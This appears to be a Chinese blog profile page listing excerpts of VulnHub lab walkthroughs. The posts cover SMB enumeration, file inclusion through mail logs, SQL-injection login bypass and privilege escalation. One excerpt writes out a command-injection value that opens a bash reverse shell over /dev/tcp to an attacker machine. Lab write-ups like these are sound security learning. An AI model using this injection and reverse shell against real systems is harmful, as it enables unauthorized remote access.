- 博客(5)
- 收藏
- 关注
原创 Symfonos 1--VulnHub系列学习记录
纪要:知识点1.enum4linux、smbclient枚举查看smb服务 2.了解文件包含到邮件日志反弹shell,掌握smtp邮件服务写入命令,对邮件等日志文件目录需要熟悉; 3.掌握PATH变量提权1.主机发现,端口扫描2.发现139/445端口开启smb服务,运用enum4linux、smbclient枚举查看enum4linux 192.168.31.81 枚举发现共享目录anony...
2020-08-01 16:22:28
856
原创 Misdirection 1--VulnHub系列学习记录
了解openssl工具 通过 /etc/passwd 提权了解Metasploit的 Web Delivery Scrip 反弹shell了解收集非常见反弹shell命令方式
2020-07-25 12:47:31
309
原创 Digitalworld.local (Development)--VulnHub靶机学习记录
1.端口扫描2.登录8080看下,根据说明有隐藏页面,然而nikto dirb等都无法目录扫描,应该也是像页面提示说的一样被入侵检测系统拦截了,那怎么找目录呢,这就有点脑洞了,原来隐藏目录就是html_pages进入隐藏目录,接下来就是一顿翻目录了最后在/development.html目录,查看源码发现提示,进入秘密页面 /developmentsecretpage发现登录页面 ,无论输入什么都是报错,爆破注入什么的别想了,都是连接超时,smb服务爆破同样结局,看来..
2020-07-24 14:10:06
678
原创 Kioptrix: Level 1.1 (#2) -VulnHub靶机学习记录
环境:靶机:192.168.1.107 kali:192.168.106主机发现端口扫描浏览器登录80端口,发现登录页面,尝试sql注入绕过密码登录成功进入,经典ping命令,存在命令执行kali 开启监听,nc -lvp 6666, 靶机执行命令:127.0.0.1&bash -i >& /dev/tcp/192.168.1.106/6666 0>&1,反弹shell到kali攻击机成功反弹但不是root权限,开始...
2020-06-19 17:12:07
473
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人